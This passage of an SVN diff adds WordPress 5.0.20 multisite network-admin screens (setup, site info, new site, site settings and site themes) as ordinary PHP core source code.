+			 * screen in their individual sites' dashboards.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param array $admin_menus The menu items available.
+			 */
+			$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );
+			$fieldset_end = '';
+			if ( count( (array) $menu_items ) > 1 ) {
+				echo '<fieldset><legend class="screen-reader-text">' . __( 'Enable menus' ) . '</legend>';
+				$fieldset_end = '</fieldset>';
+			}
+			foreach ( (array) $menu_items as $key => $val ) {
+				echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[$key] ) ? checked( $menu_perms[$key], '1', false ) : '' ) . " /> " . esc_html( $val ) . "</label><br/>";
+			}
+			echo $fieldset_end;
+			?>
+				</td>
+			</tr>
+		</table>
+
+		<?php
+		/**
+		 * Fires at the end of the Network Settings form, before the submit button.
+		 *
+		 * @since MU (3.0.0)
+		 */
+		do_action( 'wpmu_options' ); ?>
+		<?php submit_button(); ?>
+	</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/network/setup.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/setup.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/setup.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network Setup administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/network.php' );
Index: /tags/5.0.20/src/wp-admin/network/site-info.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/site-info.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/site-info.php	(revision 56912)
@@ -0,0 +1,197 @@
+<?php
+/**
+ * Edit Site Info Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_sites' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
+}
+
+get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
+get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id ) {
+	wp_die( __('Invalid site ID.') );
+}
+
+$details = get_site( $id );
+if ( ! $details ) {
+	wp_die( __( 'The requested site does not exist.' ) );
+}
+
+if ( ! can_edit_network( $details->site_id ) ) {
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+}
+
+$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
+$is_main_site = is_main_site( $id );
+
+if ( isset( $_REQUEST['action'] ) && 'update-site' == $_REQUEST['action'] ) {
+	check_admin_referer( 'edit-site' );
+
+	switch_to_blog( $id );
+
+	// Rewrite rules can't be flushed during switch to blog.
+	delete_option( 'rewrite_rules' );
+
+	$blog_data = wp_unslash( $_POST['blog'] );
+	$blog_data['scheme'] = $parsed_scheme;
+
+	if ( $is_main_site ) {
+		// On the network's main site, don't allow the domain or path to change.
+		$blog_data['domain'] = $details->domain;
+		$blog_data['path'] = $details->path;
+	} else {
+		// For any other site, the scheme, domain, and path can all be changed. We first
+		// need to ensure a scheme has been provided, otherwise fallback to the existing.
+		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );
+
+		if ( ! $new_url_scheme ) {
+			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
+		}
+		$update_parsed_url = parse_url( $blog_data['url'] );
+
+		// If a path is not provided, use the default of `/`.
+		if ( ! isset( $update_parsed_url['path'] ) ) {
+			$update_parsed_url['path'] = '/';
+		}
+
+		$blog_data['scheme'] = $update_parsed_url['scheme'];
+		$blog_data['domain'] = $update_parsed_url['host'];
+		$blog_data['path'] = $update_parsed_url['path'];
+	}
+
+	$existing_details = get_site( $id );
+	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );
+	foreach ( $blog_data_checkboxes as $c ) {
+		if ( ! in_array( $existing_details->$c, array( 0, 1 ) ) ) {
+			$blog_data[ $c ] = $existing_details->$c;
+		} else {
+			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
+		}
+	}
+
+	update_blog_details( $id, $blog_data );
+
+	// Maybe update home and siteurl options.
+	$new_details = get_site( $id );
+
+	$old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) );
+	$old_home_parsed = parse_url( $old_home_url );
+
+	if ( $old_home_parsed['host'] === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
+		$new_home_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
+		update_option( 'home', $new_home_url );
+	}
+
+	$old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
+	$old_site_parsed = parse_url( $old_site_url );
+
+	if ( $old_site_parsed['host'] === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
+		$new_site_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
+		update_option( 'siteurl', $new_site_url );
+	}
+
+	restore_current_blog();
+	wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id ), 'site-info.php' ) );
+	exit;
+}
+
+if ( isset( $_GET['update'] ) ) {
+	$messages = array();
+	if ( 'updated' == $_GET['update'] ) {
+		$messages[] = __( 'Site info updated.' );
+	}
+}
+
+/* translators: %s: site name */
+$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h1 id="edit-site"><?php echo $title; ?></h1>
+<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
+<?php
+
+network_edit_site_nav( array(
+	'blog_id'  => $id,
+	'selected' => 'site-info'
+) );
+
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg ) {
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+	}
+}
+?>
+<form method="post" action="site-info.php?action=update-site">
+	<?php wp_nonce_field( 'edit-site' ); ?>
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<?php
+		// The main site of the network should not be updated on this page.
+		if ( $is_main_site ) : ?>
+		<tr class="form-field">
+			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
+			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
+		</tr>
+		<?php
+		// For any other site, the scheme, domain, and path can all be changed.
+		else : ?>
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
+			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
+		</tr>
+		<?php endif; ?>
+
+		<tr class="form-field">
+			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ) ?></label></th>
+			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ) ?>" /></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
+			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ) ?>" /></td>
+		</tr>
+		<?php
+		$attribute_fields = array( 'public' => __( 'Public' ) );
+		if ( ! $is_main_site ) {
+			$attribute_fields['archived'] = __( 'Archived' );
+			$attribute_fields['spam']     = _x( 'Spam', 'site' );
+			$attribute_fields['deleted']  = __( 'Deleted' );
+		}
+		$attribute_fields['mature'] = __( 'Mature' );
+		?>
+		<tr>
+			<th scope="row"><?php _e( 'Attributes' ); ?></th>
+			<td>
+			<fieldset>
+			<legend class="screen-reader-text"><?php _e( 'Set site attributes' ) ?></legend>
+			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
+				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); disabled( ! in_array( $details->$field_key, array( 0, 1 ) ) ); ?> />
+				<?php echo $field_label; ?></label><br/>
+			<?php endforeach; ?>
+			<fieldset>
+			</td>
+		</tr>
+	</table>
+	<?php submit_button(); ?>
+</form>
+
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/site-new.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/site-new.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/site-new.php	(revision 56912)
@@ -0,0 +1,269 @@
+<?php
+/**
+ * Add Site Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Translation Installation API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+if ( ! current_user_can( 'create_sites' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
+}
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.') . '</p>' .
+		'<p>' . __('If the admin email for the new site does not exist in the database, a new user will also be created.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Sites_Screen">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>'
+);
+
+if ( isset($_REQUEST['action']) && 'add-site' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );
+
+	if ( ! is_array( $_POST['blog'] ) )
+		wp_die( __( 'Can&#8217;t create an empty site.' ) );
+
+	$blog = $_POST['blog'];
+	$domain = '';
+	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) )
+		$domain = strtolower( $blog['domain'] );
+
+	// If not a subdomain installation, make sure the domain isn't a reserved word
+	if ( ! is_subdomain_install() ) {
+		$subdirectory_reserved_names = get_subdirectory_reserved_names();
+
+		if ( in_array( $domain, $subdirectory_reserved_names ) ) {
+			wp_die(
+				/* translators: %s: reserved names list */
+				sprintf( __( 'The following words are reserved for use by WordPress functions and cannot be used as blog names: %s' ),
+					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
+				)
+			);
+		}
+	}
+
+	$title = $blog['title'];
+
+	$meta = array(
+		'public' => 1
+	);
+
+	// Handle translation installation for the new site.
+	if ( isset( $_POST['WPLANG'] ) ) {
+		if ( '' === $_POST['WPLANG'] ) {
+			$meta['WPLANG'] = ''; // en_US
+		} elseif ( in_array( $_POST['WPLANG'], get_available_languages() ) ) {
+			$meta['WPLANG'] = $_POST['WPLANG'];
+		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
+			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
+			if ( $language ) {
+				$meta['WPLANG'] = $language;
+			}
+		}
+	}
+
+	if ( empty( $domain ) )
+		wp_die( __( 'Missing or invalid site address.' ) );
+
+	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
+		wp_die( __( 'Missing email address.' ) );
+	}
+
+	$email = sanitize_email( $blog['email'] );
+	if ( ! is_email( $email ) ) {
+		wp_die( __( 'Invalid email address.' ) );
+	}
+
+	if ( is_subdomain_install() ) {
+		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
+		$path      = get_network()->path;
+	} else {
+		$newdomain = get_network()->domain;
+		$path      = get_network()->path . $domain . '/';
+	}
+
+	$password = 'N/A';
+	$user_id = email_exists($email);
+	if ( !$user_id ) { // Create a new user with a random password
+		/**
+		 * Fires immediately before a new user is created via the network site-new.php page.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param string $email Email of the non-existent user.
+		 */
+		do_action( 'pre_network_site_new_created_user', $email );
+
+		$user_id = username_exists( $domain );
+		if ( $user_id ) {
+			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
+		}
+		$password = wp_generate_password( 12, false );
+		$user_id = wpmu_create_user( $domain, $password, $email );
+		if ( false === $user_id ) {
+			wp_die( __( 'There was an error creating the user.' ) );
+		}
+
+		/**
+		  * Fires after a new user has been created via the network site-new.php page.
+		  *
+		  * @since 4.4.0
+		  *
+		  * @param int $user_id ID of the newly created user.
+		  */
+		do_action( 'network_site_new_created_user', $user_id );
+	}
+
+	$wpdb->hide_errors();
+	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
+	$wpdb->show_errors();
+	if ( ! is_wp_error( $id ) ) {
+		if ( ! is_super_admin( $user_id ) && !get_user_option( 'primary_blog', $user_id ) ) {
+			update_user_option( $user_id, 'primary_blog', $id, true );
+		}
+
+		wp_mail(
+			get_site_option( 'admin_email' ),
+			sprintf(
+				/* translators: %s: network name */
+				__( '[%s] New Site Created' ),
+				get_network()->site_name
+			),
+			sprintf(
+				/* translators: 1: user login, 2: site url, 3: site name/title */
+				__( 'New site created by %1$s
+
+Address: %2$s
+Name: %3$s' ),
+				$current_user->user_login,
+				get_site_url( $id ),
+				wp_unslash( $title )
+			),
+			sprintf(
+				'From: "%1$s" <%2$s>',
+				_x( 'Site Admin', 'email "From" field' ),
+				get_site_option( 'admin_email' )
+			)
+		);
+		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
+		wp_redirect( add_query_arg( array( 'update' => 'added', 'id' => $id ), 'site-new.php' ) );
+		exit;
+	} else {
+		wp_die( $id->get_error_message() );
+	}
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'added' == $_GET['update'] )
+		$messages[] = sprintf(
+			/* translators: 1: dashboard url, 2: network admin edit url */
+			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
+			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
+			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
+		);
+}
+
+$title = __('Add New Site');
+$parent_file = 'sites.php';
+
+wp_enqueue_script( 'user-suggest' );
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h1 id="add-new-site"><?php _e( 'Add New Site' ); ?></h1>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+} ?>
+<form method="post" action="<?php echo network_admin_url( 'site-new.php?action=add-site' ); ?>" novalidate="novalidate">
+<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ) ?>
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row"><label for="site-address"><?php _e( 'Site Address (URL)' ) ?></label></th>
+			<td>
+			<?php if ( is_subdomain_install() ) { ?>
+				<input name="blog[domain]" type="text" class="regular-text" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off"/><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
+			<?php } else {
+				echo get_network()->domain . get_network()->path ?><input name="blog[domain]" type="text" class="regular-text" id="site-address" aria-describedby="site-address-desc"  autocapitalize="none" autocorrect="off" />
+			<?php }
+			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
+			?>
+			</td>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><label for="site-title"><?php _e( 'Site Title' ) ?></label></th>
+			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" /></td>
+		</tr>
+		<?php
+		$languages    = get_available_languages();
+		$translations = wp_get_available_translations();
+		if ( ! empty( $languages ) || ! empty( $translations ) ) :
+			?>
+			<tr class="form-field form-required">
+				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
+				<td>
+					<?php
+					// Network default.
+					$lang = get_site_option( 'WPLANG' );
+
+					// Use English if the default isn't available.
+					if ( ! in_array( $lang, $languages ) ) {
+						$lang = '';
+					}
+
+					wp_dropdown_languages(
+						array(
+							'name'                        => 'WPLANG',
+							'id'                          => 'site-language',
+							'selected'                    => $lang,
+							'languages'                   => $languages,
+							'translations'                => $translations,
+							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
+						)
+					);
+					?>
+				</td>
+			</tr>
+		<?php endif; // Languages. ?>
+		<tr class="form-field form-required">
+			<th scope="row"><label for="admin-email"><?php _e( 'Admin Email' ) ?></label></th>
+			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" /></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'A new user will be created if the above email address is not in the database.' ) ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ) ?></td>
+		</tr>
+	</table>
+
+	<?php
+	/**
+	 * Fires at the end of the new site form in network admin.
+	 *
+	 * @since 4.5.0
+	 */
+	do_action( 'network_site_new_form' );
+
+	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
+	?>
+	</form>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/site-settings.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/site-settings.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/site-settings.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * Edit Site Settings Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
+
+get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
+get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$details = get_site( $id );
+if ( ! $details ) {
+	wp_die( __( 'The requested site does not exist.' ) );
+}
+
+if ( !can_edit_network( $details->site_id ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$is_main_site = is_main_site( $id );
+
+if ( isset($_REQUEST['action']) && 'update-site' == $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
+	check_admin_referer( 'edit-site' );
+
+	switch_to_blog( $id );
+
+	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
+	foreach ( (array) $_POST['option'] as $key => $val ) {
+		$key = wp_unslash( $key );
+		$val = wp_unslash( $val );
+		if ( $key === 0 || is_array( $val ) || in_array($key, $skip_options) )
+			continue; // Avoids "0 is a protected WP option and may not be modified" error when edit blog options
+		update_option( $key, $val );
+	}
+
+	/**
+	 * Fires after the site options are updated.
+	 *
+	 * @since 3.0.0
+	 * @since 4.4.0 Added `$id` parameter.
+	 *
+	 * @param int $id The ID of the site being updated.
+	 */
+	do_action( 'wpmu_update_blog_options', $id );
+
+	restore_current_blog();
+	wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id ), 'site-settings.php') );
+	exit;
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'updated' == $_GET['update'] )
+		$messages[] = __('Site options updated.');
+}
+
+/* translators: %s: site name */
+$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h1 id="edit-site"><?php echo $title; ?></h1>
+<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
+
+<?php
+
+network_edit_site_nav( array(
+	'blog_id'  => $id,
+	'selected' => 'site-settings'
+) );
+
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+} ?>
+<form method="post" action="site-settings.php?action=update-site">
+	<?php wp_nonce_field( 'edit-site' ); ?>
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<?php
+		$blog_prefix = $wpdb->get_blog_prefix( $id );
+		$sql = "SELECT * FROM {$blog_prefix}options
+			WHERE option_name NOT LIKE %s
+			AND option_name NOT LIKE %s";
+		$query = $wpdb->prepare( $sql,
+			$wpdb->esc_like( '_' ) . '%',
+			'%' . $wpdb->esc_like( 'user_roles' )
+		);
+		$options = $wpdb->get_results( $query );
+		foreach ( $options as $option ) {
+			if ( $option->option_name == 'default_role' )
+				$editblog_default_role = $option->option_value;
+			$disabled = false;
+			$class = 'all-options';
+			if ( is_serialized( $option->option_value ) ) {
+				if ( is_serialized_string( $option->option_value ) ) {
+					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
+				} else {
+					$option->option_value = 'SERIALIZED DATA';
+					$disabled = true;
+					$class = 'all-options disabled';
+				}
+			}
+			if ( strpos( $option->option_value, "\n" ) !== false ) {
+			?>
+				<tr class="form-field">
+					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ) ?>"><?php echo ucwords( str_replace( "_", " ", $option->option_name ) ) ?></label></th>
+					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ) ?>]" id="<?php echo esc_attr( $option->option_name ) ?>"<?php disabled( $disabled ) ?>><?php echo esc_textarea( $option->option_value ) ?></textarea></td>
+				</tr>
+			<?php
+			} else {
+			?>
+				<tr class="form-field">
+					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ) ?>"><?php echo esc_html( ucwords( str_replace( "_", " ", $option->option_name ) ) ); ?></label></th>
+					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ) ) ) { ?>
+					<td><code><?php echo esc_html( $option->option_value ) ?></code></td>
+					<?php } else { ?>
+					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ) ?>]" type="text" id="<?php echo esc_attr( $option->option_name ) ?>" value="<?php echo esc_attr( $option->option_value ) ?>" size="40" <?php disabled( $disabled ) ?> /></td>
+					<?php } ?>
+				</tr>
+			<?php
+			}
+		} // End foreach
+		/**
+		 * Fires at the end of the Edit Site form, before the submit button.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $id Site ID.
+		 */
+		do_action( 'wpmueditblogaction', $id );
+		?>
+	</table>
+	<?php submit_button(); ?>
+</form>
+
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/site-themes.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/site-themes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/site-themes.php	(revision 56912)
@@ -0,0 +1,207 @@
+<?php
+/**
+ * Edit Site Themes Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
+
+get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
+get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter site themes list' ),
+	'heading_pagination' => __( 'Site themes list navigation' ),
+	'heading_list'       => __( 'Site themes list' ),
+) );
+
+$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');
+
+$action = $wp_list_table->current_action();
+
+$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$temp_args = array( 'enabled', 'disabled', 'error' );
+$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( $temp_args, wp_get_referer() );
+
+if ( ! empty( $_REQUEST['paged'] ) ) {
+	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
+}
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$wp_list_table->prepare_items();
+
+$details = get_site( $id );
+if ( ! $details ) {
+	wp_die( __( 'The requested site does not exist.' ) );
+}
+
+if ( !can_edit_network( $details->site_id ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$is_main_site = is_main_site( $id );
+
+if ( $action ) {
+	switch_to_blog( $id );
+	$allowed_themes = get_option( 'allowedthemes' );
+
+	switch ( $action ) {
+		case 'enable':
+			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
+			$theme = $_GET['theme'];
+			$action = 'enabled';
+			$n = 1;
+			if ( !$allowed_themes )
+				$allowed_themes = array( $theme => true );
+			else
+				$allowed_themes[$theme] = true;
+			break;
+		case 'disable':
+			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
+			$theme = $_GET['theme'];
+			$action = 'disabled';
+			$n = 1;
+			if ( !$allowed_themes )
+				$allowed_themes = array();
+			else
+				unset( $allowed_themes[$theme] );
+			break;
+		case 'enable-selected':
+			check_admin_referer( 'bulk-themes' );
+			if ( isset( $_POST['checked'] ) ) {
+				$themes = (array) $_POST['checked'];
+				$action = 'enabled';
+				$n = count( $themes );
+				foreach ( (array) $themes as $theme )
+					$allowed_themes[ $theme ] = true;
+			} else {
+				$action = 'error';
+				$n = 'none';
+			}
+			break;
+		case 'disable-selected':
+			check_admin_referer( 'bulk-themes' );
+			if ( isset( $_POST['checked'] ) ) {
+				$themes = (array) $_POST['checked'];
+				$action = 'disabled';
+				$n = count( $themes );
+				foreach ( (array) $themes as $theme )
+					unset( $allowed_themes[ $theme ] );
+			} else {
+				$action = 'error';
+				$n = 'none';
+			}
+			break;
+		default:
+			if ( isset( $_POST['checked'] ) ) {
+				check_admin_referer( 'bulk-themes' );
+				$themes = (array) $_POST['checked'];
+				$n = count( $themes );
+				$screen = get_current_screen()->id;
+
+				/**
+				 * Fires when a custom bulk action should be handled.
+				 *
+				 * The redirect link should be modified with success or failure feedback
+				 * from the action to be used to display feedback to the user.
+				 *
+				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
+				 *
+				 * @since 4.7.0
+				 *
+				 * @param string $redirect_url The redirect URL.
+				 * @param string $action       The action being taken.
+				 * @param array  $items        The items to take the action on.
+				 * @param int    $site_id      The site ID.
+				 */
+				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id );
+			} else {
+				$action = 'error';
+				$n = 'none';
+			}
+	}
+
+	update_option( 'allowedthemes', $allowed_themes );
+	restore_current_blog();
+
+	wp_safe_redirect( add_query_arg( array( 'id' => $id, $action => $n ), $referer ) );
+	exit;
+}
+
+if ( isset( $_GET['action'] ) && 'update-site' == $_GET['action'] ) {
+	wp_safe_redirect( $referer );
+	exit();
+}
+
+add_thickbox();
+add_screen_option( 'per_page' );
+
+/* translators: %s: site name */
+$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h1 id="edit-site"><?php echo $title; ?></h1>
+<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
+<?php
+
+network_edit_site_nav( array(
+	'blog_id'  => $id,
+	'selected' => 'site-themes'
+) );
+
+if ( isset( $_GET['enabled'] ) ) {
+	$enabled = absint( $_GET['enabled'] );
+	if ( 1 == $enabled ) {
+		$message = __( 'Theme enabled.' );
+	} else {
+		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
+	}
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $enabled ) ) . '</p></div>';
+} elseif ( isset( $_GET['disabled'] ) ) {
+	$disabled = absint( $_GET['disabled'] );
+	if ( 1 == $disabled ) {
+		$message = __( 'Theme disabled.' );
+	} else {
+		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
+	}
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $disabled ) ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'none' == $_GET['error'] ) {
+	echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'No theme selected.' ) . '</p></div>';
+} ?>
+
+<p><?php _e( 'Network enabled themes are not shown on this screen.' ) ?></p>
+
